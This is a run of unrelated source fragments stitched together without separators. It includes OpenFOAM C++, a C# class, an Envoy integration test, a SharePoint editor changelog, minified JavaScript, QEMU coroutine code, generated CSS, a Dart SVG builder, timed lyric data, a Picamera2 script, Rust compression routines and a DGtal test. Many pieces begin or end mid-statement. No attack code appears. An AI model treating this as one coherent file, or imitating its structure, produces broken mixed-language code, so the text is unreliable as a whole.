/*---------------------------------------------------------------------------*\
  =========                 |
  \\      /  F ield         | OpenFOAM: The Open Source CFD Toolbox
   \\    /   O peration     |
    \\  /    A nd           | Copyright (C) 1991-2010 OpenCFD Ltd.
     \\/     M anipulation  |
-------------------------------------------------------------------------------
License
    This file is part of OpenFOAM.

    OpenFOAM is free software: you can redistribute it and/or modify it
    under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    OpenFOAM is distributed in the hope that it will be useful, but WITHOUT
    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
    for more details.

    You should have received a copy of the GNU General Public License
    along with OpenFOAM.  If not, see <http://www.gnu.org/licenses/>.

\*---------------------------------------------------------------------------*/

#include "featureEdgeMesh.H"

// * * * * * * * * * * * * * * Static Data Members * * * * * * * * * * * * * //

namespace Foam
{

defineTypeNameAndDebug(featureEdgeMesh, 0);

}

// * * * * * * * * * * * * * Private Member Functions  * * * * * * * * * * * //

// * * * * * * * * * * * * * * * * Constructors  * * * * * * * * * * * * * * //

// * * * * * * * * * * * * * * * Friend Operators  * * * * * * * * * * * * * //

// * * * * * * * * * * * * * * * * Constructors  * * * * * * * * * * * * * * //

Foam::featureEdgeMesh::featureEdgeMesh(const IOobject& io)
:
    regIOobject(io),
    edgeMesh(pointField(0), edgeList(0))
{
    if
    (
        io.readOpt() == IOobject::MUST_READ
     || (io.readOpt() == IOobject::READ_IF_PRESENT && headerOk())
    )
    {
        readStream(typeName) >> *this;
        close();
    }

    if (debug)
    {
        Pout<< "featureEdgeMesh::featureEdgeMesh :"
            << " constructed from IOobject :"
            << " points:" << points().size()
            << " edges:" << edges().size()
            << endl;
    }
}

//- Construct from components
Foam::featureEdgeMesh::featureEdgeMesh
(
    const IOobject& io,
    const pointField& points,
    const edgeList& edges
)
:
    regIOobject(io),
    edgeMesh(points, edges)
{}

// Construct as copy
Foam::featureEdgeMesh::featureEdgeMesh
(
    const IOobject& io,
    const featureEdgeMesh& em
)
:
    regIOobject(io),
    edgeMesh(em)
{}

// * * * * * * * * * * * * * * * Member Functions  * * * * * * * * * * * * * //

bool Foam::featureEdgeMesh::readData(Istream& is)
{
    is >> *this;
    return !is.bad();
}

bool Foam::featureEdgeMesh::writeData(Ostream& os) const
{
    os << *this;

    return os.good();
}

// * * * * * * * * * * * * * * * Friend Operators  * * * * * * * * * * * * * //

// ************************************************************************* //


            Count = 0;
        }

        public int Count { get; private set; }

        public void AddConfirmation(byte[] value, bool encrypted)
        {
            if (_confirmations.Length == Count)
            {
                SignatureConfirmation[] newConfirmations = new SignatureConfirmation[Count * 2];
                Array.Copy(_confirmations, 0, newConfirmations, 0, Count);
                _confirmations = newConfirmations;
            }
            _confirmations[Count] = new SignatureConfirmation(value);
            ++Count;
            IsMarkedForEncryption |= encrypted;
        }

        public bool IsMarkedForEncryption { get; private set; }
    }
}


odeData(1024, true);
  host2_stream_->encodeHeaders(Http::TestResponseHeaderMapImpl{{":status", "200"}}, false);
  host2_stream_->encodeData(1024, true);

  // Receive updates until the one we expect arrives
  ASSERT_TRUE(waitForClusterHealthResponse(envoy::config::core::v3::HEALTHY,
                                           host2_upstream_->localAddress(), 1, 0, 0));

  ASSERT_EQ(response_.endpoint_health_response().cluster_endpoints_health_size(), 2);

  // store cluster response info for easier reference.
  const auto& cluster_resp0 = response_.endpoint_health_response().cluster_endpoints_health(0);
  const auto& cluster_resp1 = response_.endpoint_health_response().cluster_endpoints_health(1);

  // check cluster info and sizes.
  EXPECT_EQ(cluster_resp0.cluster_name(), "anna");
  ASSERT_EQ(cluster_resp0.locality_endpoints_health_size(), 1);
  EXPECT_EQ(cluster_resp1.cluster_name(), "cat");
  ASSERT_EQ(cluster_resp1.locality_endpoints_health_size(), 1);

  // store locality response info for easier reference.
  const auto& locality_resp0 = cluster_resp0.locality_endpoints_health(0);
  const auto& locality_resp1 = cluster_resp1.locality_endpoints_health(0);

  // check locality info and sizes.
  EXPECT_EQ(locality_resp0.locality().sub_zone(), "hobbiton");
  ASSERT_EQ(locality_resp0.endpoints_health_size(), 1);
  EXPECT_EQ(locality_resp1.locality().sub_zone(), "paris");
  ASSERT_EQ(locality_resp1.endpoints_health_size(), 1);

  // Check endpoints.
  EXPECT_TRUE(checkEndpointHealthResponse(locality_resp0.endpoints_health(0),
                                          envoy::config::core::v3::UNHEALTHY,
                                          host_upstream_->localAddress()));

  checkCounters(1, 2, 0, 1);
  EXPECT_EQ(1, test_server_->counter("cluster.cat.health_check.success")->value());
  EXPECT_EQ(0, test_server_->counter("cluster.cat.health_check.failure")->value());

  // Create new specifier that removes the second cluster, and adds an endpoint to the first.
  server_health_check_specifier_ =
      makeHttpHealthCheckSpecifier(envoy::type::v3::CodecClientType::HTTP1, false);
  Network::Utility::addressToProtobufAddress(
      *host2_upstream_->localAddress(),
      *server_health_check_specifier_.mutable_cluster_health_checks(0)
           ->mutable_locality_endpoints(0)
           ->add_endpoints()
           ->mutable_address());

  // Reset second endpoint for usage in our cluster.
  ASSERT_TRUE(host2_fake_connection_->close());
  ASSERT_TRUE(host2_fake_connection_->waitForDisconnect());

  // Send new specifier.
  hds_stream_->sendGrpcMessage(server_health_check_specifier_);
  // TODO: add stats reporting and verification for Clusters added/removed/reused and Endpoints
  // added/removed/reused.
  test_server_->waitForCounterGe("hds_delegate.requests", ++hds_requests_);

  // Set up second endpoint again.
  ASSERT_TRUE(host2_upstream_->waitForHttpConnection(*dispatcher_, host2_fake_connection_));
  ASSERT_TRUE(host2_fake_connection_->waitForNewStream(*dispatcher_, host2_stream_));
  ASSERT_TRUE(host2_stream_->waitForEndStream(*dispatcher_));
  EXPECT_EQ(host2_stream_->headers().getPathValue(), "/healthcheck");
  EXPECT_EQ(host2_stream_->headers().getMethodValue(), "GET");
  EXPECT_EQ(host2_stream_->headers().getHostValue(), "anna");

  // Endpoints respond to the health check
  host2_


ion Video")

## Version history
- 2.3.1 Small fixes
    * Fixed issue with PnP JS Console in modern pages
    * Fixed issue with File editor in modern pages
- 2.3.0 Upgraded monaco-editor to version 0.10.0
- 2.2.3 Small fix for modern pages / sites.
- 2.2.2 Updated sp-pnp-js to 2.0.8
- 2.2.1 Updated sp-pnp-js to 2.0.6
- 2.2 New Feature
    * AppCatalog: View and edit all apps in App Catalog
- 2.1.2 updates
    * Enhancements in Page editor: reorder webpart drag&drop by [@andrei-markeev](https://github.com/andrei-markeev)
    * Updated sp-pnp-js to 2.0.5
    * added CDN support for onpremise scripts
- 2.1.1 small fixes
- 2.1 New Feature
    * File editor: View and edit all files on current site
        * white file icon = content file
        * red file icon = ghosted file (Un-Customized)
        * yellow file icon = unghosted file (Customized)
    * Updated sp-pnp-js to 2.0.4
- 2.0 Almost complete re-write
    * Converted all pages to use riot.js ( Thanks [@andrei-markeev](https://github.com/andrei-markeev) )
    * Updated sp-pnp-js to 2.0.3
- 1.7.2 Small fixes
- 1.7.1 Small fixes
- 1.7 New Feature
    * List Properties: view, edit, add, remove and index list RootFolder properties
    * Enhancements in Page editor: add & remove webparts by [@andrei-markeev](https://github.com/andrei-markeev)
- 1.6.1 Small fix
- 1.6 New Feature
    * Page editor: edit webpart properties. created by [@andrei-markeev](https://github.com/andrei-markeev)
- 1.5 New Feature
    * PnP JS Console: Write TypeScript using PnP-JS-Core definitions and execute on current context
    * Updated pnp-js-core to v2.0.2
- 1.4 Bug fixes
    * Fixed issue when saving files from another web/sitecollection
    * Fixed issue about Scriptlinks were not always rendered
    * Updated pnp-js-core to v2.0.1
- 1.3.1 Name and Icon change
- 1.3.0 Added possibility to create webhooks for lists
    * Changed SharePoint Client Object Model to PnP-JS-Core
    * Chrome SP Editor works now in classic and modern pages
    * Chrome SP Editor works now with SP2013, SP2016 and SharePoint Online
    * Fixed some rendering issues
- 1.2.18 Added possibility to create indexed webproperties
- 1.2.17 Small fix
- 1.2.16 Small fix
- 1.2.15 All injections will now respect the sequence, no matter if loaded from CDN or locally
- 1.2.14 Small fix
- 1.2.13 Added possibility to inject new file from add new file view.
- 1.2.12 Fixed issue where editors in different tabs could affect others settings.
- 1.2.11 Added default content to new js/css files created from the editor.
- 1.2.10 Bug fix. Edited file was always published as a major version.
- 1.2.9 Fixed major bug after latest improvements
- 1.2.8 Added notifications for all events. Removed rest of the alert boxes
- 1.2.7 Added file name to the notification
- 1.2.6 Changed alert boxes to notifications when saving a file
- 1.2.5 Added SP2013 OnPrem support
- 1.2.4 Added filtering for propertybag value listing
- 1


a,b,c,d,e)}
Function.prototype.$6=function(a,b,c,d,e,f){return this(a,b,c,d,e,f)}
convertAllToFastObject(w)
convertToFastObject($);(function(a){if(typeof document==="undefined"){a(null)
return}if(typeof document.currentScript!='undefined'){a(document.currentScript)
return}var u=document.scripts
function onLoad(b){for(var s=0;s<u.length;++s)u[s].removeEventListener("load",onLoad,false)
a(b.target)}for(var t=0;t<u.length;++t)u[t].addEventListener("load",onLoad,false)})(function(a){v.currentScript=a
if(typeof dartMainRunner==="function")dartMainRunner(F.Ct,[])
else F.Ct([])})})()
//# sourceMappingURL=main.dart.js.map
// script.aculo.us controls.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009

// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//           (c) 2005-2009 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
//           (c) 2005-2009 Jon Tirsen (http://www.tirsen.com)
// Contributors:
//  Richard Livsey
//  Rahul Bhargava
//  Rob Wills
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

// Autocompleter.Base handles all the autocompletion functionality
// that's independent of the data source for autocompletion. This
// includes drawing the autocompletion menu, observing keyboard
// and mouse events, and similar.
//
// Specific autocompleters need to provide, at the very least,
// a getUpdatedChoices function that will be invoked every time
// the text inside the monitored textbox changes. This method
// should get the text for which to provide autocompletion by
// invoking this.getToken(), NOT by directly accessing
// this.element.value. This is to allow incremental tokenized
// autocompletion. Specific auto-completion logic (AJAX, etc)
// belongs in getUpdatedChoices.
//
// Tokenized incremental autocompletion is enabled automatically
// when an autocompleter is instantiated with the 'tokens' option
// in the options parameter, e.g.:
// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' });
// will incrementally autocomplete with a comma as the token.
// Additionally, ',' in the above example can be replaced with
// a token array, e.g. { tokens: [',', '\n'] } which
// enables autocompletion on multiple tokens. This is most
// useful when one of the tokens is \n (a newline), as it
// allows smart autocompletion after linebreaks.

if(typeof Effect == 'undefined')
  throw("controls.js requires including script.aculo.us' effects.js library");

var Autocompleter = { };
Autocompleter.Base = Class.create({
  baseInitialize: function(element, update, options) {
    element          = $(element);
    this.element     = element;
    this.update      = $(update);
    this.hasFocus    = false;
    this.changed     = false;
    this.active      = false;
    this.index       = 0;
    this.entryCount  = 0;
    this.oldElementValue = this.element.value;

    if(this.setOptions)
      this.setOptions(options);
    else
      this.options = options || { };

    this.options.paramName


454, 0, 'l'],
  [14455, 0, ' '],
  [14456, 0, 'o'],
  [14457, 0, 'r'],
  [14458, 0, 'd'],
  [14459, 0, 'e'],
  [14460, 0, 'r'],
  [14474, 0, ' '],
  [14475, 0, 'T'],
  [14476, 0, 'h'],
  [14477, 0, 'i'],
  [14478, 0, 's'],
  [14479, 0, ' '],
  [14479, 1],
  [14478, 1],
  [14477, 1],
  [14476, 1],
  [14475, 1],
  [14474, 1],
  [14902, 0, 'L'],
  [14903, 0, 'e'],
  [14904, 0, 't'],
  [14905, 0, ' '],
  [14906, 0, '$'],
  [14907, 0, 'o'],
  [14908, 0, '_'],
  [14909, 0, 'i'],
  [14910, 0, '$'],
  [14907, 1],
  [14907, 0, '\\'],
  [14908, 0, 'm'],
  [14909, 0, 'a'],
  [14910, 0, 't'],
  [14911, 0, 'h'],
  [14912, 0, 'i'],
  [14913, 0, 't'],
  [14914, 0, '{'],
  [14915, 0, 'i'],
  [14916, 0, 'd'],
  [14917, 0, '}'],
  [14920, 0, ' '],
  [14921, 0, '\\'],
  [14922, 0, 'i'],
  [14923, 0, 'n'],
  [14924, 0, ' '],
  [14925, 0, '{'],
  [14926, 0, '\\'],
  [14927, 0, 'm'],
  [14928, 0, 'a'],
  [14929, 0, 't'],
  [14930, 0, 'h'],
  [14931, 0, 'i'],
  [14932, 0, 't'],
  [14933, 0, '{'],
  [14934, 0, 'i'],
  [14935, 0, 'd'],
  [14936, 0, '_'],
  [14937, 0, '1'],
  [14938, 0, ','],
  [14939, 0, ' '],
  [14936, 0, '}'],
  [14941, 0, '\\'],
  [14942, 0, 'd'],
  [14943, 0, 'o'],
  [14944, 0, 't'],
  [14945, 0, 's'],
  [14946, 0, ','],
  [14947, 0, ' '],
  [14948, 0, '\\'],
  [14949, 0, 'm'],
  [14950, 0, 'a'],
  [14951, 0, 't'],
  [14952, 0, 'h'],
  [14953, 0, 'i'],
  [14954, 0, 't'],
  [14955, 0, '{'],
  [14956, 0, 'i'],
  [14957, 0, 'd'],
  [14958, 0, '}'],
  [14959, 0, '_'],
  [14960, 0, 'm'],
  [14961, 0, '}'],
  [14961, 0, '\\'],
  [14925, 0, '\\'],
  [14965, 0, ' '],
  [14966, 0, 'b'],
  [14967, 0, 'e'],
  [14968, 0, ' '],
  [14969, 0, 't'],
  [14970, 0, 'h'],
  [14971, 0, 'e'],
  [14972, 0, ' '],
  [14973, 0, 'I'],
  [14974, 0,


/*
 * QEMU coroutine sleep
 *
 * Copyright IBM, Corp. 2011
 *
 * Authors:
 *  Stefan Hajnoczi    <stefanha@linux.vnet.ibm.com>
 *
 * This work is licensed under the terms of the GNU LGPL, version 2 or later.
 * See the COPYING.LIB file in the top-level directory.
 *
 */

#include "qemu/osdep.h"
#include "qemu/coroutine.h"
#include "qemu/coroutine_int.h"
#include "qemu/timer.h"
#include "block/aio.h"

static const char *qemu_co_sleep_ns__scheduled = "qemu_co_sleep_ns";

struct QemuCoSleepState {
    Coroutine *co;
    QEMUTimer *ts;
    QemuCoSleepState **user_state_pointer;
};

void qemu_co_sleep_wake(QemuCoSleepState *sleep_state)
{
    /* Write of schedule protected by barrier write in aio_co_schedule */
    const char *scheduled = qatomic_cmpxchg(&sleep_state->co->scheduled,
                                           qemu_co_sleep_ns__scheduled, NULL);

    assert(scheduled == qemu_co_sleep_ns__scheduled);
    if (sleep_state->user_state_pointer) {
        *sleep_state->user_state_pointer = NULL;
    }
    timer_del(sleep_state->ts);
    aio_co_wake(sleep_state->co);
}

static void co_sleep_cb(void *opaque)
{
    qemu_co_sleep_wake(opaque);
}

void coroutine_fn qemu_co_sleep_ns_wakeable(QEMUClockType type, int64_t ns,
                                            QemuCoSleepState **sleep_state)
{
    AioContext *ctx = qemu_get_current_aio_context();
    QemuCoSleepState state = {
        .co = qemu_coroutine_self(),
        .ts = aio_timer_new(ctx, type, SCALE_NS, co_sleep_cb, &state),
        .user_state_pointer = sleep_state,
    };

    const char *scheduled = qatomic_cmpxchg(&state.co->scheduled, NULL,
                                           qemu_co_sleep_ns__scheduled);
    if (scheduled) {
        fprintf(stderr,
                "%s: Co-routine was already scheduled in '%s'\n",
                __func__, scheduled);
        abort();
    }

    if (sleep_state) {
        *sleep_state = &state;
    }
    timer_mod(state.ts, qemu_clock_get_ns(type) + ns);
    qemu_coroutine_yield();
    if (sleep_state) {
        /*
         * Note that *sleep_state is cleared during qemu_co_sleep_wake
         * before resuming this coroutine.
         */
        assert(*sleep_state == NULL);
    }
    timer_free(state.ts);
}


;
  flex-direction: row;
  align-items: stretch;
  justify-content: space-between;
  align-content: unset;
}
.h1 {
  font-weight: 600;
  font-size: 20px;
}
.newProjectButton:global(.__wab_instance) {
  position: relative;
}
.svg__fDUq {
  display: flex;
  position: relative;
  object-fit: cover;
  width: 16px;
  height: 16px;
}
.svg__opS5Z {
  display: flex;
  position: relative;
  object-fit: cover;
  width: 16px;
  height: 1em;
}
.tutorials:global(.__wab_instance) {
  position: relative;
}
.tutorialshideStarters:global(.__wab_instance) {
  display: none;
}
.svg__vsz6K {
  display: flex;
  position: relative;
  object-fit: cover;
  width: 24px;
  height: 24px;
}
.starterGroup__mBsAc:global(.__wab_instance) {
  position: relative;
}
.preview22 {
  width: 100%;
  height: 100%;
  object-fit: cover;
  position: relative;
  min-width: 0;
  min-height: 0;
}
.preview22 > picture > img {
  object-fit: cover;
}
.svg__by7Ek {
  min-width: 20px;
  min-height: 20px;
  max-width: 20px;
  max-height: 20px;
  display: flex;
  position: relative;
  color: rgb(255, 255, 255);
  height: 1em;
}
.img__gHpLe {
  position: relative;
  object-fit: cover;
  max-width: 100%;
}
.img__gHpLe > picture > img {
  object-fit: cover;
}
.preview223 {
  width: 100%;
  height: 100%;
  object-fit: cover;
  position: relative;
  min-width: 0;
  min-height: 0;
}
.preview223 > picture > img {
  object-fit: cover;
}
.svg__mwqWs {
  min-width: 20px;
  min-height: 20px;
  max-width: 20px;
  max-height: 20px;
  display: flex;
  position: relative;
  color: rgb(255, 255, 255);
  height: 1em;
}
.img__nWagV {
  position: relative;
  object-fit: cover;
  max-width: 100%;
}
.img__nWagV > picture > img {
  object-fit: cover;
}
.preview222 {
  width: 100%;
  height: 100%;
  object-fit: cover;
  position: relative;
  min-width: 0;
  min-height: 0;
}
.preview222 > picture > img {
  object-fit: cover;
}
.svg___8WEqf {
  min-width: 20px;
  min-height: 20px;
  max-width: 20px;
  max-height: 20px;
  display: flex;
  position: relative;
  color: rgb(255, 255, 255);
  height: 1em;
}
.img__owx0H {
  position: relative;
  object-fit: cover;
  max-width: 100%;
}
.img__owx0H > picture > img {
  object-fit: cover;
}
.starterProject__kroAp:global(.__wab_instance) {
  position: relative;
}
.preview34 {
  width: 100%;
  height: 100%;
  object-fit: cover;
  position: relative;
  min-width: 0;
  min-height: 0;
}
.preview34 > picture > img {
  object-fit: cover;
}
.text__c5V {
  font-family: "Paytone One", sans-


normalizeWeatherType(weather);
    final palette = _selectPalette(dayPeriod, normalizedWeather);
    final bgGradientId = (dayPeriod != null || normalizedWeather != null)
        ? 'dynamicKnowledgeBg'
        : 'modernKnowledgeBg';
    final backgroundGradientDef = (dayPeriod != null ||
            normalizedWeather != null)
        ? _buildDynamicGradientDef(bgGradientId, palette)
        : '''<linearGradient id="modernKnowledgeBg" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" style="stop-color:#4f46e5;stop-opacity:1" />
      <stop offset="50%" style="stop-color:#7c3aed;stop-opacity:1" />
      <stop offset="100%" style="stop-color:#db2777;stop-opacity:1" />
    </linearGradient>''';

    final weatherLayer = _buildWeatherSceneOverlay(
      dayPeriod: dayPeriod,
      weather: normalizedWeather,
      palette: palette,
      width: 400,
      height: 600,
    );

    final metaLines = _buildMetadataLines(
      date: displayDate,
      location: location,
      weather: weather,
      temperature: temperature,
      source: source ?? author,
      appMark: '心迹 · ThoughtEcho',
    );

    return '''
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 600">
  <defs>
    <!-- 背景渐变（可能为动态） -->
    $backgroundGradientDef

    <!-- 内容区域渐变 -->
    <linearGradient id="contentBg" x1="0%" y1="0%" x2="0%" y2="100%">
      <stop offset="0%" style="stop-color:#ffffff;stop-opacity:0.95" />
      <stop offset="100%" style="stop-color:#f8fafc;stop-opacity:0.95" />
    </linearGradient>

    <!-- 阴影滤镜 -->
    <filter id="shadow" x="-20%" y="-20%" width="140%" height="140%">
      <feDropShadow dx="0" dy="4" stdDeviation="8" flood-color="#000000" flood-opacity="0.1"/>
    </filter>
  </defs>

  <!-- 主背景 -->
  <rect width="400" height="600" fill="url(#$bgGradientId)" rx="24"/>

  $weatherLayer

  <!-- 装饰性几何元素 -->
  <circle cx="350" cy="80" r="40" fill="#ffffff" fill-opacity="0.08"/>
  <circle cx="60" cy="520" r="30" fill="#ffffff" fill-opacity="0.06"/>
  <rect x="320" y="500" width="60" height="60" fill="#ffffff" fill-opacity="0.04" rx="12" transform="rotate(15 350 530)"/>

  <!-- 顶部图标区域 -->
  <circle cx="200" cy="120" r="36" fill="#ffffff" fill-opacity="0.15"/>
  <circle cx="200" cy="120" r="28" fill="#ffffff" fill-opacity="0.9"/>

  <!-- 现代化知识图标 -->
  <g transform="translate(200, 120)">
    <!-- 书本图标 -->
    <rect x="-12" y="-8" width="24" height="16" fill="#4f46e5" rx="2"/>
    <rect x="-10" y="-6" width="20" height="2" fill="#ffffff"/>
    <rect x="-10" y="-2" width="16" height="1.5" fill=


,168,0>掌<2032,223,0>控
[105983,541]<0,168,0>管<168,192,0>他<360,181,0>的
[106524,1921]<0,335,0>我<335,362,0>也<697,391,0>绝<1088,256,0>不<1344,344,0>退<1688,233,0>让
[108445,2209]<0,329,0>I <329,448,0>come <777,1432,0>alive
[111062,3721]<0,231,0>Burn <231,305,0>in <536,216,0>the <752,360,0>night <1112,376,0>like <1488,2233,0>wildfire
[114783,2043]<0,192,0>Find <192,200,0>me <392,168,0>in <560,224,0>the <784,331,0>great <1115,928,0>unknown
[116826,3027]<0,201,0>I'm <201,1015,0>following <1216,360,0>the <1576,1451,0>stars
[120373,3848]<0,425,0>Swear <425,375,0>I <800,377,0>will <1177,335,0>run <1512,200,0>until <1712,208,0>I <1920,289,0>run <2209,119,0>out <2328,176,0>of <2504,384,0>air <2888,256,0>in <3144,232,0>my <3376,472,0>lungs
[124540,3367]<0,345,0>Fighting <345,208,0>for <553,192,0>the <745,240,0>ones <985,144,0>that <1129,208,0>are <1337,306,0>lost <1643,320,0>in <1963,240,0>the <2203,1164,0>hollow
[127907,4630]<0,224,0>I <224,496,0>know <720,224,0>it's <944,532,0>hard <1476,240,0>to <1716,472,0>see <2188,288,0>it <2476,2154,0>end
[133953,5476]<0,360,0>We're <360,693,0>gonna <1053,362,0>make <1415,366,0>it <1781,195,0>out <1976,397,0>my <2373,3103,0>friend
[142910,2716]<0,160,0>You <160,161,0>better <321,208,0>run <529,209,0>you <738,382,0>better <1120,230,0>hide <1350,377,0>inside <1727,206,0>the <1933,186,0>eye <2119,174,0>of <2293,193,0>the <2486,230,0>storm
[145626,3112]<0,200,0>哪<200,224,0>怕<424,225,0>我<649,191,0>身<840,184,0>体<1024,184,0>变<1208,176,0>得<1384,200,0>面<1584,192,0>目<1776,199,0>全<1975,209,0>非<2184,199,0>不<2383,185,0>能<2568,200,0>掌<2768,344,0>控
[148738,2995]<0,200,0>You <200,328,0>better <528,216,0>run <744,223,0>you <967,272,0>better <1239,249,0>hide <1488,352,0>inside <1840,216,0>the <2056,192,0>eye <2248,191


#!/usr/bin/python3

import time

import numpy as np

from picamera2 import Picamera2, Preview

picam2a = Picamera2(0)
picam2a.configure(picam2a.create_preview_configuration())
picam2a.start_preview(Preview.QTGL)

picam2b = Picamera2(1)
picam2b.configure(picam2b.create_preview_configuration())
picam2b.start_preview(Preview.QT)

picam2a.start()
picam2b.start()
time.sleep(10)
picam2a.stop_preview()
picam2b.stop_preview()

time.sleep(2)

overlay = np.zeros((300, 400, 4), dtype=np.uint8)
overlay[:150, 200:] = (255, 0, 0, 64)
overlay[150:, :200] = (0, 255, 0, 64)
overlay[150:, 200:] = (0, 0, 255, 64)

picam2a.start_preview(Preview.QTGL)
picam2b.start_preview(Preview.QT)
picam2a.set_overlay(overlay)
picam2b.set_overlay(overlay)

time.sleep(10)


################### */
/*
 * copy non-zero codes from array to buffer
 */

pub fn bufcopy(
    a: &[u8],
    n: usize,
    buffer: &mut [u8],
    b: &mut usize,
    bmax: usize,
    qtb: &mut Buffer3,
) -> i32 {
    for i in 0..n {
        //for (i = 0; i < n; i++) {
        if a[i] != 0 {
            /*
             * add Huffman code for a[i] to buffer
             */
            qtb.bitbuffer |= CODE[a[i] as usize] << qtb.bits_to_go;
            qtb.bits_to_go += NCODE[a[i] as usize];
            if qtb.bits_to_go >= 8 {
                buffer[*b] = qtb.bitbuffer as u8;
                *b += 1;

                /*
                 * return warning code if we fill buffer
                 */
                if *b >= bmax {
                    return 1;
                }

                qtb.bitbuffer >>= 8;
                qtb.bits_to_go -= 8;
            }
        }
    }
    0
}

/*
 * Do first quadtree reduction step on bit BIT of array A.
 * Results put into B.
 *
 * a = (9) &[37536, 37088, 224, 36864, 0, 222, 77022, 222, 0]
 * n = 1
 * nx = 5
 * ny = 0
 * b = [0,0,1,8]
 * bit = 16
 */
pub fn qtree_onebit(a: &[i32], n: usize, nx: usize, ny: usize, b: &mut [u8], bit: usize) {
    let mut s10: usize;
    let mut s00: usize;

    /*
     * use selected bit to get amount to shift
     */
    let b0: i32 = 1 << bit;
    let b1: i32 = b0 << 1;
    let b2: i32 = b0 << 2;
    let b3: i32 = b0 << 3;
    let mut k: usize = 0;
    let mut ii = 0; /* k is index of b[i/2,j/2]	*/

    if nx == 0 {
        return;
    } // Stops underflow and early return

    for i in (0..(nx - 1)).step_by(2) {
        //for (i = 0; i<nx-1; i += 2) {
        s00 = n * i; /* s00 is index of a[i,j]	*/
        s10 = s00 + n; /* s10 is index of a[i+1,j]	*/
        let mut ji = 0;

        if ny == 0 {
            continue;
        } // Stops underflow

        for _j in (0..(ny - 1)).step_by(2) {
            //for (j = 0; j<ny-1; j += 2) {

            b[k] = (((a[s10 + 1] & b0)
                | ((a[s10] << 1) & b1)
                | ((a[s00 + 1] << 2) & b2)
                | ((a[s00] << 3) & b3))
                >> bit) as u8;

            k += 1;
            s00 += 2;
            s10 += 2;
            ji += 2;
        }
        if ji < ny {
            /*
             * row size is odd, do last element in row
             * s00+1,s10+1 are off edge
             */
            b[k] = ((((a[s10] << 1) & b1) | ((a[s00] << 3) & b3)) >> bit) as u8;
            k += 1;
        }
        ii += 2;
    }
    if ii < nx {
        /*
         * column size is odd, do last row
         * s10,s10+1 are off edge
         */
        s00 = n * ii;
        let mut ji = 0;
        if ny == 0 {
            return;
        } // Early return, prevent underflow on next line (ny - 1)
        for _j in (0..(ny - 1)).step_by(2) {
            //for (j = 0; j<ny-1; j += 2) {
            b[k] = ((((a[s00 + 1] << 2) & b2) | ((a[s00] << 3) & b3)) >> bit) as u8;


anel .block_section.sitpub ul li a:active{color:#fff;outline:none;background:#A30000;border:none;text-decoration:none}
#masthead #top_panel .block_section.promo_block{width:auto;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0 7px}
#masthead #top_panel #top_nav a[href|="#subnav-box"].topnav_elem{position:relative;font-size:1em;cursor:pointer}
#masthead #top_panel #top_nav a[href|="#subnav-box"].topnav_elem::after{content:"\25BE";position:absolute;right:0.5em;top:5px;font-size:21px;line-height:16px;cursor:pointer;display:inline-block}
#masthead #top_panel #top_nav a.subnav_elem.close_box{float:right}
#masthead #top_panel #top_nav .subnav_box{display:none}
#masthead #top_panel #top_nav .subnav_box:target,#masthead #top_panel #top_nav .subnav_box.expand{display:block;margin-left:0.75em}
#masthead #top_panel #top_nav a.subnav_elem{width:150px;display:inline-block;text-transform:uppercase;padding:0.5em;margin:0 2em 0.5em 2.5em}
@media (min-width:650px){#masthead #top_panel{text-align:center}
#masthead #top_panel .block_section{display:inline-block;vertical-align:top;text-align:left;margin:1em auto 0.5em auto;width:250px;padding:0 5vw}}@media (min-width:650px){#masthead #top_panel{text-align:center}
#masthead #top_panel .block_section{padding:0 15px;width:32%;-webkit-box-sizing:border-box;box-sizing:border-box}}
@media (min-width:800px){#masthead #top_panel .block_section{/* padding:0 2.3vw; */} #masthead a#logo span {}}
@media (min-width:1000px){#masthead{}
#masthead #top_panel{text-align:left;max-width:1000px}
#masthead #top_panel .block_section{/* display:inline-block; *//* padding:0 15px; */width:auto;-webkit-box-sizing:border-box;box-sizing:border-box;}
#masthead #top_panel .block_section.nav{/* display:block; *//* width:100%; */}
#masthead #top_panel .block_section.promo_block{width:auto;position:relative}
#masthead #top_panel #top_nav a[href|="#subnav-box"].topnav_elem{display:none}
#masthead #top_panel .block_section #top_nav .nav_elem{width:20%;display:inline-block;vertical-align:top}
#masthead #top_panel #top_nav{position:relative}
#masthead #top_panel .block_section #top_nav .nav_elem:nth-of-type(2){}
#masthead #top_panel .block_section #top_nav .nav_elem:nth-of-type(6){width:32%}
#masthead #top_panel .block_section #top_nav .nav_elem:nth-of-type(6) #subnav-box-nav-tag-vendor-voice > a:first-of-type{width:100%}
#masthead #top_panel .block_section #top_nav .nav_elem:nth-of-type(6) #subnav-box-nav-tag-vendor-voice > a{width:50%;vertical-align:top;margin:0;-webkit-box-sizing:border-box;box-sizing:border-box}
#masthead #top_panel #top_nav .nav_elem .subnav_box{display:block}
#masthead #top_panel .block_section #top_


      else
            {
              board << CustomStyle( specificStyle,
                                    new CustomColors( Color::Black,
                                                      cmap_grad( 0 ) ) )
                    << *it;
            }
        }
    }
  board.saveEPS("testDepthFirstPropagation.eps");

  board.clear();

  DepthFirstVisitor<Object, set<Point> > bfv2 (obj, c1);

  while( !bfv2.finished() )
    {
      image.setValue(bfv2.current().first, bfv2.current().second);
      bfv2.expand();
    }

  specificStyle = p1.className() + "/Paving";

  for ( DigitalSet::ConstIterator it = shape_set.begin();
        it != shape_set.end();
        ++it )
    {
      if( image(*it) == 0)
        {
          board << CustomStyle( specificStyle,
                                new CustomColors( Color::Black,
                                                  Color::Red ) )
                << *it;
        }
      else
        {
          if( image(*it) > 0 )
            {
              board << CustomStyle( specificStyle,
                                    new CustomColors( Color::Black,
                                                      cmap_grad( image(*it) ) ) )
                    << *it;
            }
          else
            {
              board << CustomStyle( specificStyle,
                                    new CustomColors( Color::Black,
                                                      cmap_grad( 0 ) ) )
                    << *it;
            }
        }
    }
  board.saveEPS("testDepthFirstPropagation-distance.eps");
}

int main( int /*argc*/, char** /*argv*/ )
{
  testDepthFirstPropagation();
  return 0;
}

/**
 *  This program is free software: you can redistribute it and/or modify
